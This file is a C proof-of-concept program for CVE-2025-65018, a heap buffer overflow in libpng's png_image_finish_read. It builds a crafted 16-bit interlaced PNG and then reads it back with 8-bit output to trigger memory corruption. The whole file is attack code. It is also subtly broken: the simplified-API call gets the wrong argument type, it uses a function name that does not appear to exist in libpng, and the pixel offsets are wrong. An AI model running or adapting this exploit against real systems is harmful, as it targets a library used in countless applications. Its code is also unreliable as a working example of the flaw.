/*
* CVE-2025-65018 PoC - libpng png_image_finish_read Heap Buffer Overflow
* This PoC generates a malicious 16-bit interlaced PNG file that triggers
* heap buffer overflow when processed with 8-bit output format.
*
* Compile: gcc -o cve_2025_65018_poc cve_2025_65018_poc.c -lpng
* Usage: ./cve_2025_65018_poc output.png
*/
#include <stdio.h>
#include <stdlib.h>
#include <png.h>
#define WIDTH 256
#define HEIGHT 256
#define BIT_DEPTH 16
void write_png_file(const char *filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
fprintf(stderr, "Cannot open file for writing\n");
return;
}
png_structp png = png_create_write_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);
if (!png) {
fclose(fp);
return;
}
png_infop info = png_create_info_struct(png);
if (!info) {
png_destroy_write_struct(&png, NULL);
fclose(fp);
return;
}
if (setjmp(png_jmpbuf(png))) {
png_destroy_write_struct(&png, &info);
fclose(fp);
return;
}
png_init_io(png, fp);
// Set up interlaced 16-bit PNG with color type that triggers the vulnerability
png_set_IHDR(png, info, WIDTH, HEIGHT, BIT_DEPTH, PNG_COLOR_TYPE_RGB_ALPHA,
PNG_INTERLACE_ADAM7, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT);
// Allocate row pointers for 16-bit data
png_bytep *row_pointers = (png_bytep *)malloc(sizeof(png_bytep) * HEIGHT);
for (int y = 0; y < HEIGHT; y++) {
row_pointers[y] = (png_byte *)malloc(png_get_rowbytes(png, info));
// Fill with pattern that will trigger overflow when converted to 8-bit
for (int x = 0; x < WIDTH; x++) {
png_uint_16 *pixel = (png_uint_16 *)(row_pointers[y] + x * 6);
pixel[0] = 0xFFFF; // Red
pixel[1] = 0xFFFF; // Green
pixel[2] = 0xFFFF; // Blue
pixel[3] = 0xFFFF; // Alpha
}
}
png_set_rows(png, info, row_pointers);
png_write_png(png, info, PNG_TRANSFORM_IDENTITY, NULL);
// Cleanup
for (int y = 0; y < HEIGHT; y++) {
free(row_pointers[y]);
}
free(row_pointers);
png_destroy_write_struct(&png, &info);
fclose(fp);
}
void trigger_vulnerability(const char *filename) {
FILE *fp = fopen(filename, "rb");
if (!fp) {
fprintf(stderr, "Cannot open file for reading\n");
return;
}
png_structp png = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);
if (!png) {
fclose(fp);
return;
}
png_infop info = png_create_info_struct(png);
if (!info) {
png_destroy_read_struct(&png, NULL, NULL);
fclose(fp);
return;
}
if (setjmp(png_jmpbuf(png))) {
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
return;
}
png_init_io(png, fp);
png_read_info(png, info);
// Use simplified API which triggers the vulnerability
png_image image;
memset(&image, 0, sizeof(image));
image.version = PNG_IMAGE_VERSION;
image.width = png_get_image_width(png, info);
image.height = png_get_image_height(png, info);
// Force 8-bit output format to trigger the vulnerability
png_set_expand_16_to_8(png);
png_read_update_info(png, info);
// Allocate output buffer - this will be too small for the vulnerability
png_byte *buffer = (png_byte *)malloc(PNG_IMAGE_SIZE(image));
if (!buffer) {
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
return;
}
// This call triggers the heap buffer overflow
png_image_finish_read(png, &image, buffer, 0, NULL);
free(buffer);
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <output_png_file>\n", argv[0]);
return 1;
}
printf("Generating malicious PNG file: %s\n", argv[1]);
write_png_file(argv[1]);
printf("Triggering vulnerability...\n");
trigger_vulnerability(argv[1]);
printf("Done. Check for crashes or memory corruption.\n");
return 0;
}